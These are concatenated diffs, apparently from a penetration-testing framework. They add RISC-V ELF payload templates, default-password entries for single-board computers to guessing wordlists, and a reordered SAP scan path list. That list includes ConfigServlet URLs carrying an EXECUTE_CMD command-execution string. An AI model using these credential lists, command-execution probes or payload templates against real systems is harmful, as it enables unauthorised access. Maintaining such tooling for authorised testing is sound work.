|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.7.0",
|
||||
"commit": {
|
||||
"sha": "78cc4dd981a89b26006fea0984f1305bc663281f"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.2",
|
||||
"commit": {
|
||||
"sha": "838fb604d569dae18a1a7a85ef28ed2c125df986"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.1",
|
||||
"commit": {
|
||||
"sha": "4a1e987a1d2a958119ab5c936d4b1d82125e14d9"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.6.0",
|
||||
"commit": {
|
||||
"sha": "f2a2574ddc8bbe20776071569935922c3593d5e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.4",
|
||||
"commit": {
|
||||
"sha": "334ba3df99dfc84385faace167f6410c8ce0be91"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "charts/kafka-ui-0.5.3",
|
||||
"commit": {
|
||||
"sha": "cbb166026d8c6360836def9bf9c208313023961c"
|
||||
}
|
||||
}
|
||||
]
|
||||
@@ -83,6 +83,8 @@
|
||||
<% description = "The module is expected to get a shell every time it runs." %>
|
||||
<% elsif reliability == "unreliable-session" %>
|
||||
<% description = "The module isn't expected to get a shell reliably (such as only once)." %>
|
||||
<% elsif reliability == "event-dependent" %>
|
||||
<% description = "The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc." %>
|
||||
<% end %>
|
||||
|
||||
* **<%= reliability %>:** <%= description %>
|
||||
|
||||
@@ -88,6 +88,7 @@ strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
; build with:
|
||||
; nasm elf_dll_riscv32le_template.s -f bin -o template_riscv32le_linux_dll.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0
|
||||
|
||||
ehdr:
|
||||
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0
|
||||
dw 3 ; e_type = ET_DYN
|
||||
dw 0xF3 ; e_machine = EM_RISCV
|
||||
dd 1 ; e_version = EV_CURRENT
|
||||
dd _start ; e_entry = _start
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd shdr - $$ ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 2 ; e_phnum
|
||||
dw shentsize ; e_shentsize
|
||||
dw 2 ; e_shnum
|
||||
dw 1 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr:
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
dd 2 ; p_type = PT_DYNAMIC
|
||||
dd 7 ; p_flags = rwx
|
||||
dd dynsection ; p_offset
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsection ; p_vaddr
|
||||
dd dynsz ; p_filesz
|
||||
dd dynsz ; p_memsz
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
shdr:
|
||||
dd 1 ; sh_name
|
||||
dd 6 ; sh_type = SHT_DYNAMIC
|
||||
dd 0 ; sh_flags
|
||||
dd dynsection ; sh_addr
|
||||
dd dynsection ; sh_offset
|
||||
dd dynsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 8 ; sh_addralign
|
||||
dd 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
dd 0 ; sh_flags
|
||||
dd strtab ; sh_addr
|
||||
dd strtab ; sh_offset
|
||||
dd strtabsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dd 0 ; sh_addralign
|
||||
dd 0 ; sh_entsize
|
||||
|
||||
dynsection:
|
||||
; DT_INIT
|
||||
dd 0x0c
|
||||
dd _start
|
||||
; DT_STRTAB
|
||||
dd 0x05
|
||||
dd strtab
|
||||
; DT_SYMTAB
|
||||
dd 0x06
|
||||
dd strtab
|
||||
; DT_STRSZ
|
||||
dd 0x0a
|
||||
dd 0
|
||||
; DT_SYMENT
|
||||
dd 0x0b
|
||||
dd 0
|
||||
; DT_NULL
|
||||
dd 0x00
|
||||
dd 0
|
||||
dynsz equ $ - dynsection
|
||||
|
||||
strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
global _start
|
||||
_start:
|
||||
@@ -0,0 +1,99 @@
|
||||
; build with:
|
||||
; nasm elf_dll_riscv64le_template.s -f bin -o template_riscv64le_linux_dll.bin
|
||||
|
||||
BITS 64
|
||||
|
||||
org 0
|
||||
|
||||
ehdr: ; Elf64_Ehdr
|
||||
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 3 ; e_type = ET_DYN
|
||||
dw 0xF3 ; e_machine = RISCV
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq shdr - $$ ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 2 ; e_phnum
|
||||
dw shentsize ; e_shentsize
|
||||
dw 2 ; e_shnum
|
||||
dw 1 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 7 ; p_flags = rwx
|
||||
dq 0 ; p_offset
|
||||
dq $$ ; p_vaddr
|
||||
dq $$ ; p_paddr
|
||||
dq 0xDEADBEEF ; p_filesz
|
||||
dq 0xDEADBEEF ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
dd 2 ; p_type = PT_DYNAMIC
|
||||
dd 7 ; p_flags = rwx
|
||||
dq dynsection ; p_offset
|
||||
dq dynsection ; p_vaddr
|
||||
dq dynsection ; p_vaddr
|
||||
dq dynsz ; p_filesz
|
||||
dq dynsz ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
|
||||
shdr:
|
||||
dd 1 ; sh_name
|
||||
dd 6 ; sh_type = SHT_DYNAMIC
|
||||
dq 0 ; sh_flags
|
||||
dq dynsection ; sh_addr
|
||||
dq dynsection ; sh_offset
|
||||
dq dynsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dq 8 ; sh_addralign
|
||||
dq 7 ; sh_entsize
|
||||
shentsize equ $ - shdr
|
||||
dd 0 ; sh_name
|
||||
dd 3 ; sh_type = SHT_STRTAB
|
||||
dq 0 ; sh_flags
|
||||
dq strtab ; sh_addr
|
||||
dq strtab ; sh_offset
|
||||
dq strtabsz ; sh_size
|
||||
dd 0 ; sh_link
|
||||
dd 0 ; sh_info
|
||||
dq 0 ; sh_addralign
|
||||
dq 0 ; sh_entsize
|
||||
|
||||
dynsection:
|
||||
; DT_INIT
|
||||
dq 0x0c
|
||||
dq _start
|
||||
; DT_STRTAB
|
||||
dq 0x05
|
||||
dq strtab
|
||||
; DT_SYMTAB
|
||||
dq 0x06
|
||||
dq strtab
|
||||
; DT_STRSZ
|
||||
dq 0x0a
|
||||
dq 0
|
||||
; DT_SYMENT
|
||||
dq 0x0b
|
||||
dq 0
|
||||
; DT_NULL
|
||||
dq 0x00
|
||||
dq 0
|
||||
|
||||
dynsz equ $ - dynsection
|
||||
|
||||
strtab:
|
||||
db 0
|
||||
db 0
|
||||
strtabsz equ $ - strtab
|
||||
|
||||
align 16
|
||||
global _start
|
||||
_start:
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
; build with:
|
||||
; nasm elf_riscv32le_template.s -f bin -o template_riscv32le_linux.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0x00010000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 0xF3 ; e_machine = RISCV
|
||||
dd 1 ; e_version
|
||||
dd _start ; e_entry
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 0 ; p_offset
|
||||
dd $$ ; p_vaddr
|
||||
dd $$ ; p_paddr
|
||||
dd 0xDEADBEEF ; p_filesz
|
||||
dd 0xDEADBEEF ; p_memsz
|
||||
dd 7 ; p_flags = rwx
|
||||
dd 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
; build with:
|
||||
; nasm elf_riscv64le_template.s -f bin -o template_riscv64le_linux.bin
|
||||
|
||||
BITS 64
|
||||
|
||||
org 0x00400000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 0xF3 ; e_machine = RISCV
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf32_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 7 ; p_flags = rwx
|
||||
dq 0 ; p_offset
|
||||
dq $$ ; p_vaddr
|
||||
dq $$ ; p_paddr
|
||||
dq 0xDEADBEEF ; p_filesz
|
||||
dq 0xDEADBEEF ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1454,6 +1454,7 @@ bewan
|
||||
beyonce
|
||||
bhaby
|
||||
bhebhe
|
||||
bianbu
|
||||
bianca
|
||||
bier
|
||||
bigboy
|
||||
@@ -3061,6 +3062,7 @@ lucas
|
||||
lucenttech1
|
||||
lucenttech2
|
||||
lucero
|
||||
luckfox
|
||||
lucky
|
||||
lucky1
|
||||
lucky7
|
||||
@@ -3248,6 +3250,7 @@ mikel
|
||||
mikey
|
||||
milagros
|
||||
milkshake
|
||||
milkv
|
||||
miller
|
||||
millie
|
||||
mine
|
||||
@@ -3477,6 +3480,7 @@ operator
|
||||
oqksad
|
||||
oracle
|
||||
orange
|
||||
orangepi
|
||||
orlando
|
||||
orpheus
|
||||
oscar
|
||||
@@ -4192,6 +4196,7 @@ stacey
|
||||
stanley
|
||||
star
|
||||
starfish
|
||||
starfive
|
||||
stargate
|
||||
stark123
|
||||
starl
|
||||
|
||||
@@ -7290,6 +7290,7 @@ bi
|
||||
bi-level
|
||||
bia
|
||||
bialystok
|
||||
bianbu
|
||||
bianca
|
||||
bianco
|
||||
bianka
|
||||
@@ -44356,6 +44357,7 @@ limy
|
||||
lin
|
||||
lina
|
||||
linage
|
||||
linaro
|
||||
linc
|
||||
linchpin
|
||||
lincoln
|
||||
@@ -45397,6 +45399,7 @@ lucita
|
||||
lucite
|
||||
lucius
|
||||
luck
|
||||
luckfox
|
||||
luckhoff
|
||||
luckier
|
||||
luckily
|
||||
@@ -49040,6 +49043,7 @@ milkshark
|
||||
milksop
|
||||
milkweed
|
||||
milkwoodpark
|
||||
milkv
|
||||
milky
|
||||
mill
|
||||
millaa
|
||||
@@ -55429,6 +55433,7 @@ orang-utan
|
||||
orang-utans
|
||||
orange
|
||||
orangeade
|
||||
orangepi
|
||||
orangery
|
||||
oranges
|
||||
orangey
|
||||
@@ -63171,6 +63176,7 @@ radium
|
||||
radius
|
||||
radix
|
||||
radon
|
||||
radxa
|
||||
rae
|
||||
raeann
|
||||
raedene
|
||||
@@ -74326,6 +74332,7 @@ stardust
|
||||
stare
|
||||
starer
|
||||
starfish
|
||||
starfive
|
||||
starfruit
|
||||
stargate
|
||||
stargaze
|
||||
@@ -77837,6 +77844,7 @@ temporizer
|
||||
temporizing
|
||||
temporizingly
|
||||
temporizings
|
||||
temppwd
|
||||
tempt
|
||||
temptation
|
||||
tempted
|
||||
|
||||
+1224
-140
@@ -1,3 +1,7 @@
|
||||
/@download@
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
@@ -5,64 +9,26 @@
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/CMSRTS/Config?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CmcApp/logon.faces
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/@download@
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/examples.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IGSCustomizingXML
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
@@ -86,11 +52,67 @@
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/KW
|
||||
/Lighthammer
|
||||
/Modeler
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/RE/index.jsp
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/SQLtrace/index.html
|
||||
/TOdbo
|
||||
/TSapq
|
||||
/TXmla
|
||||
/TestJDBC_Web
|
||||
/VC
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/bwtest
|
||||
/caf
|
||||
/ccsui
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/dispatcher
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples.html
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/exchangeProfile/
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/index.html
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
@@ -111,32 +133,26 @@
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
@@ -147,9 +163,24 @@
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/IStest
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/ap
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/abap/demo
|
||||
/sap/bc/abap/demo_apc
|
||||
/sap/bc/abap/demo_apc_pcp
|
||||
@@ -184,34 +215,34 @@
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/FAA
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/public/sem
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
@@ -221,17 +252,17 @@
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/docu
|
||||
/sap/bc/echo
|
||||
@@ -249,23 +280,10 @@
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
@@ -276,19 +294,23 @@
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/wdvd/
|
||||
/sap/bc/webdynpro
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
@@ -314,25 +336,20 @@
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/workflow/shortcut
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/crm
|
||||
/sap/es/atk
|
||||
/sap/es/cockpit
|
||||
@@ -347,16 +364,39 @@
|
||||
/sap/gw
|
||||
/sap/gw/bep
|
||||
/sap/gw/jsonrpc
|
